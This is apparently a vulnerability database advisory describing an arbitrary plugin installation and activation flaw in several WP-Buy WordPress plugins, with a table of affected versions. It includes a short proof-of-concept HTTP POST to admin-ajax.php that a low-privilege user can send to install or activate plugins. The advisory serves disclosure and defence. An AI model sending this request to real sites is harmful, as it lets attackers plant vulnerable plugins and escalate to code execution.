logo
DATABASE RESOURCES PRICING ABOUT US

Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via Low Privilege User

Description

Low privileged users could use the AJAX action "cp_plugins_do_button_job_later_callback" from multiple plugins of the WP-Buy vendor, to install any plugin (including a specific version) from the WordPress repository, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE. Note (WPScanTeam): The same AJAX action could also be used to activate installed plugins on the blog. ### PoC Vulnerable code : cp_plugins_do_button_job_later_callback() method in settings-start-index.php file POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Cookie: [Low Privilege User cookie] Content-Type: application/x-www-form-urlencoded Content-Length: 46 action=do_button_job_later&slug;=plugin_slug.version To activate installed plugins, use the same request, but with the plugin_file instead of slug parameter


Affected Software


CPE Name Name Version
wp-content-copy-protector 3.1.5
conditional-marketing-mailer 1.5.2
captchinoo-captcha-for-login-form-protection 2.4
wp-maintenance-mode-site-under-construction 1.8.2
tree-website-map 2.9
visitors-traffic-real-time-statistics 2.12
wp-limit-failed-login-attempts 2.9
login-as-customer-or-user 1.8

Related